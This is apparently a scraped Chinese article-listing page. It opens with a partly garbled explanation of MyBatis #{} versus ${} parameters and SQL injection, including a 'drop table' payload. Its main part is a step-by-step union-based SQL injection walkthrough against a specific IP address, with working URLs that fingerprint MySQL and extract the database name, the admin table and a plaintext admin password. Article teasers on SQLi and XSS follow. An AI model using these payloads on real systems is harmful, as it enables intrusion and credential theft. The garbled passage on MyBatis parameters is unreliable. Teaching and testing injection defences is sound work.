    select id, username, password, role
    from user
    where username = ${username,jdbcType=VARCHAR}
    and password = ${password,jdbcType=VARCHAR}
    </select>
    

    mybatis中的#和$的区别:

    1、#将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号。
      
    如:where username=#{username},如果传入的值是111,那么解析成sql时的值为where username=“111”, 如果传入的值是id,则解析成的sql为where username=“id”.

    *2、 将 传 入 的 数 据 直 接 显 示 生 成 在 s q l 中 。 ∗ 如 : w h e r e u s e r n a m e = 将传入的数据直接显示生成在sql中。* 如:where username= sqlwhereusername={username},如果传入的值是111,那么解析成sql时的值为where username=111;
    如果传入的值是;drop table user;,则解析成的sql为:select id, username, password, role from user where username=;drop table user;
      3、#方式能够很大程度防止sql注入, 方 式 无 法 防 止 S q l 注 入 。     4 、 方式无法防止Sql注入。   4、 Sql  4方式一般用于传入数据库对象,例如传入表名.
      5、一般能用#的就别用 , 若 不 得 不 使 用 “ ,若不得不使用“ 使{xxx}”这样的参数,要手工地做好过滤工作,来防止sql注入攻击。
      6、在MyBatis中,“ x x x ” 这 样 格 式 的 参 数 会 直 接 参 与 S Q L 编 译 , 从 而 不 能 避 免 注 入 攻 击 。 但 涉 及 到 动 态 表 名 和 列 名 时 , 只 能 使 用 “ {xxx}”这样格式的参数会直接参与SQL编译,从而不能避免注入攻击。但涉及到动态表名和列名时,只能使用“ xxxSQL使{xxx}”这样的参数格式。所以,这样的参数需要我们在代码中手工进行处理来防止注入。

    【结论】在编写MyBatis的映射语句时,尽量采用“#{xxx}”这样的格式。若不得不使用“${xxx}”这样的参数,要手工地做好过滤工作,来防止SQL注入攻击。

    mybatis是如何做到防止sql注入的
      MyBatis框架作为一款半自动化的持久层框架,其SQL语句都要我们自己手动编写,这个时候当然需要防止SQL注入。其实,MyBatis的SQL是一个具有“输入+输出”的功能,类似于函数的结构,参考上面的两个例子。其中,parameterType表示了输入的参数类型,resultType表示了输出的参数类型。回应上文,如果我们想防止SQL注入,理所当然地要在输入参数上下功夫。上面代码中使用#的即输入参数在SQL中拼接的部分,传入参数后,打印出执行的SQL语句,会看到SQL是这样的:

    select id, username, password, role from user where username=? and password=?
      不管输入什么参数,打印出的SQL都是这样的。这是因为MyBatis启用了预编译功能,在SQL执行前,会先将上面的SQL发送给数据库进行编译;执行时,直接使用编译好的SQL,替换占位符“?”就可以了。因为SQL注入只能对编译过程起作用,所以这样的方式就很好地避免了SQL注入的问题。

    【底层实现原理】MyBatis是如何做到SQL预编译的呢?其实在框架底层,是JDBC中的PreparedStatement类在起作用,PreparedStatement是我们很熟悉的Statement的子类,它的对象包含了编译好的SQL语句。这种“准备好”的方式不仅能提高安全性,而且在多次执行同一个SQL时,能够提高效率。原因是SQL已编译好,再次执行时无需再编译
      
      参考:https://www.cnblogs.com/myseries/p/10821372.html大大知识搬运工-自由门连接

    展开全文
  • SQL 注入攻击案例

    千次阅读 2021-01-19 16:43:36
    一、检测注入点二、判断是否存在 SQL 注入可能三、数据库爆破四、字段爆破五、数据库表爆破六、用户名、密码爆破七、总结一、检测注入点首先,在http://120.203.13.75:6815/?id=1...二、判断是否存在 SQL 注入可能...

    一、检测注入点

    二、判断是否存在 SQL 注入可能

    三、数据库爆破

    四、字段爆破

    五、数据库表爆破

    六、用户名、密码爆破

    七、总结

    一、检测注入点

    首先,在 http://120.203.13.75:6815/?id=1 目标站点页面发现了 ?id,说明可以通过查询 id=1 的内容来获得页面。

    这相当于查询语句:

    select * from [表名] where id = '1';

    7b515946811b448db2af81cbc20cb11f.png

    二、判断是否存在 SQL 注入可能

    在 http://120.203.13.75:6815/?id=1 后加入一个 单引号,构成http://120.203.13.75:6815/?id=1',此时的 SQL 查询语句变为:

    select * from 表名 where id =1';

    SQL 语句未正确结束,因此返回了一个错误页面,如图所示:

    81e8c9e5972a0b0ecf51d52dc6f4ef9b.png

    继续测试 and 1=1 和 and 1=2:

    http://120.203.13.75:6815/?id=1 and 1=1

    这相当于 SQL 查询语句:

    select * from 表名 where id =1 and 1=1;

    SQL 语句用 and 连接可以设置多个条件,目前返回一个永久为真的条件,因此返回了一个正常页面,如图所示:

    52199b075f2e8b0c5b100dad6084b340.png

    http://120.203.13.75:6815/?id=1 and 1=2

    这相当于 SQL 查询语句:

    select select * from 表名 where id =1 and 1=2;

    SQL语句用 and 连接可以设置多个条件,目前返回一个永久为假的条件,因此页面返回错误,如图所示:

    71ec9b4536a67a543afe413a286980cc.png

    说明 SQL 语句被执行,程序没有对敏感字符进行过滤。现在可以确定此处是一个 SQL 注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。

    三、数据库爆破

    现在要判断数据库类型以及版本,构造语句如下:

    http://120.203.13.75:6815/?id=1 and ord(mid(version(),1,1))>51

    发现返回正常页面,说明数据库是 MySQL,并且版本大于 4.0,支持 union 查询,反之是 4.0 以下版本或者其他类型数据库。

    a534523de78cfecb21e6aa93f1f7748e.png

    四、字段爆破

    进一步猜测数据注入位置:

    http://120.203.13.75:6815/?id=1 order by 10

    这相当于 SQL 查询语句:

    select * from [表名] where id =1 order by 10;

    返回错误,说明字段小于 10:

    6724e55de26f4010df9c715908d17012.png

    http://120.203.13.75:6815/?id=1 order by 2

    这相当于SQL查询语句:

    select * from [表名] where id =1 order by 2;

    返回正常页面,说明字段是 2。当字段数很大时,二分查找法的优势比较明显,效率更高。

    c13ad21ada0fdf0124ea69cfa3d57e3f.png

    五、数据库表爆破

    确定字段之后,现在要构造联合查询语句 (union select),语句如下:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2

    可以发现在页面中,原先的内容没有了,取而代之的是返回的数字 2,这个数字指的是我们可以把联合查询的对应位置替换为想要查询的关键字,比如版本,数据库名称,主要是用来探测 web 系统的信息。

    8817843c5a1b3501b2a867327a7e12b3.png

    查询数据库版本:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version()

    得到结果为版本号 5.5.53,如图所示:

    471bbb3dca2ae36222d3c199829a3809.png

    六、用户名、密码爆破

    现在把 2 替换掉,先查询数据库名称,构造语句如下:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database()

    浏览器返回了 maoshe,说明这个网站的数据库名称是 maoshe,如图所示:

    53becc6656dc2cc04f221e7152ba71e2.png

    用同样的手法查询表名,构造语句如下:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe'

    浏览器返回 admin,说明表名为 admin,如图所示:

    1a3dc53f544dd574898dccba969946cf.png

    再用同样的手法猜测密码和用户名字段,构造语句如下:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,pwd from admin

    7c2fe809995de037ea7a1df25feb5448.png

    返回失败,说明字段名称不是 pwd。

    重新猜测密码字段,构造语句如下:

    http://120.203.13.75:6815/?id=1 and 1=2 union select 1,password from admin

    17a78a95afe287e5bcb1263ee54e4467.png

    返回成功,说明密码字段名称为 password,且登录密码为 hellohack。

    七、总结

    要想实现注入,首先要找到 注入点。使用联合查询语句时,需要将语句写在一个闭合的空间内,这个空间就是通过查找注入点并添加的一个闭合的引号内。在网站中使用的查询语句在 MySQL 中都是可以实现的。

    基本步骤:

    找到注入点;

    判断当前表的字段;

    用联合语句查看哪几位是有效位;

    查看当前数据库中有哪些表;

    查看表中有哪些属性;

    查看表中具体的数据信息。

    展开全文
  • 实例讲解SQL注入攻击

    2021-02-26 16:10:26
    SQL注入”是一种利用未过滤/未审核用户输入的攻击方法(“缓存溢出”和这个不同),意思就是让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们,就会造成一些出人意料的结果。本...
  • 免责申明:对于此内容仅是提供参考,用于开发人员针对黑客攻击做好安全防范 XSS攻击: 跨站脚本在英文中称为Cross-Site Scripting,缩写为CSS。但是,由于层叠样式表 (Cascading Style Sheets)的缩写也为CSS,为不...
  • 我们接下来,学习一下sql注入的类型,根据不同的类型,他的攻击策略是怎么样的,这是我们本篇文章,所要探讨的内容 1.SQL注入类型 按输出机制分类: 盲注:输出数据库的内容在网页中没有显示,只能进行逻辑判断,真...
  • //此处是SQL注入漏洞的关键,因为是字符串的拼接,会使查询语句变为:SELECT * FROM user WHERE username='aaa' OR '' AND password='1651561',此查询语句是可得到结果集的,便出现此漏洞 stat=conn....
  • SQL注入攻击入门

    千次阅读 2021-11-19 09:11:44
    目录 一、SQL注入的原理 SQL注入漏洞的条件 二、SQL注入的危害 三、SQL注入的分类 1、注入点数据类型分类 ...SQL注入是一种针对后台数据库的攻击手段,攻击者把精心构造的恶意SQL命令插入到Web
  • SQL 注入攻击介绍与测试案例

    千次阅读 2019-01-25 16:51:50
    博主声明: 转载请在开头附加本文链接及作者信息,并标记为转载... SQL注入攻击 SQL 注入是利用某些系统没有对用户输入的数据进行充分的检查,而在用户输入数据中注入非法的 SQL 语句段或命令,从而利用系统的 ...
  • 数据库 -- SQL注入攻击

    2021-12-07 11:23:28
    SQL注入攻击_百度百科 概念 SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分...
  • SQL注入,简单实例,登录攻击

    千次阅读 2019-11-18 15:06:08
    SQL注入,简单实例,登录攻击 原理 网上找 实战 服务端逻辑 只是为了演示方便,实际中当然不可能这么写的 #服务端代码 import pymsql def login(): print('ok') def login_fail(): print('not ok!') db =...
  • 3、注入sql测试 4、获取查询长度 5、获取数据库相关信息 6、通过注入,我们拿到了数据库的初步信息 写在前面 作为一个防御型小白帽 你一定要知道进攻套路 才能有相应的防御措施 声明:只做测试,发现对方的...
  • SQL注入是一种很简单的攻击手段,但直到今天仍然十分常见。那么mybatis是如何防止SQL注入的呢?下面脚本之家小编给大家带来了实例代码,需要的朋友参考下吧
  • /////////////////////////////////////命令注入攻击:使用的是system函数执行windows系统dir命令,来显示URL参数dir所指定的子目录的内容。 可以使用escapeshellarg函数来处理命令的参数,防止URI来进行命令注入攻击...
  • 这就是SQL注入攻击,通过输入SQL脚本组成连接查询字符串查得全部信息。 预防措施:将输入的 ' 转为' ' ,这样可以影响SQL语句的执行 SqlDataSource1.SelectCommand += "where TName='"+TextBox1.Text....
  • 小试牛刀:SQL 注入攻击

    万次阅读 多人点赞 2019-02-24 17:22:32
    小试牛刀:SQL注入攻击一、检测注入点二、判断是否存在 SQL 注入可能三、数据库爆破四、字段爆破五、数据库表爆破六、用户名、密码爆破七、总结 一、检测注入点 首先,在 http://120.203.13.75:6815/?id=1 目标...
  • 1.什么是 SQL 注入? 通过构造特殊的输入参数传入Web应用,导致后端执行了恶意 SQL ...2.SQL注入代码演示示例 1)创建users表和插入相应信息 -- 创建users数据表 CREATE TABLE `users`( `id` INT NOT...
  • 漏洞解决方案-SQL注入攻击

    千次阅读 2020-08-25 14:12:08
    漏洞解决方案-SQL注入攻击前置知识修复方案代码参考 前置知识 SQL注入攻击,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 威胁描述: 如果SQL注入...
  • SQL注入攻击案例与应对措施。
  • 本文是通过深度学习框架keras来做SQL注入特征识别, 不过虽然用了keras,但是大部分还是普通的神经网络,只是外加了一些规则化、dropout层(随着深度学习出现的层)。 基本思路就是喂入一堆数据(INT型)、通过神经...
  • SQL注入攻击介绍

    万次阅读 2022-03-20 20:00:48
    SQL注入攻击介绍 一、SQL注入攻击简介 SQL注入攻击是指,后台数据库操作时,如果拼接外部参数到SQL语句中,就可能导致欺骗服务器执行恶意的SQL语句,造成数据泄露、删库、页面篡改等严重后果。按变量类型分为:数字...
  • Oracle开发人员SQL注入攻击入门教程 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
  • MySQL 处理SQL注入攻击

    2021-02-11 11:02:21
    MySQL 处理SQL注入攻击如果您通过网页获取用户输入并将其插入到一个MySQL数据库中,则有可能让您对称为SQL注入的安全问题敞开大门。本课将教您如何帮助防止这种情况发生,并帮助您保护脚本和MySQL语句。比如当你要求...
  • python中sql注入

    2021-03-06 15:31:39
    age,phone) values(%s,%s,%s)‘ parm=(7,54,1566456465) a.execute(sql,parm) 注意在execute函数中,全是以parm字符串替代sql中的改变的量 python中sql注入 标签:方式 rom cut 游标 har from int connect ...
  • sql注入实例分析

    2020-08-25 11:36:10
    什么是SQL注入攻击?引用百度百科的解释: sql注入_百度百科: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用...
  • 关于SQL 注入在科普中国的词条上是这样解释的:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 17,411
精华内容 6,964
关键字:

sql注入攻击实例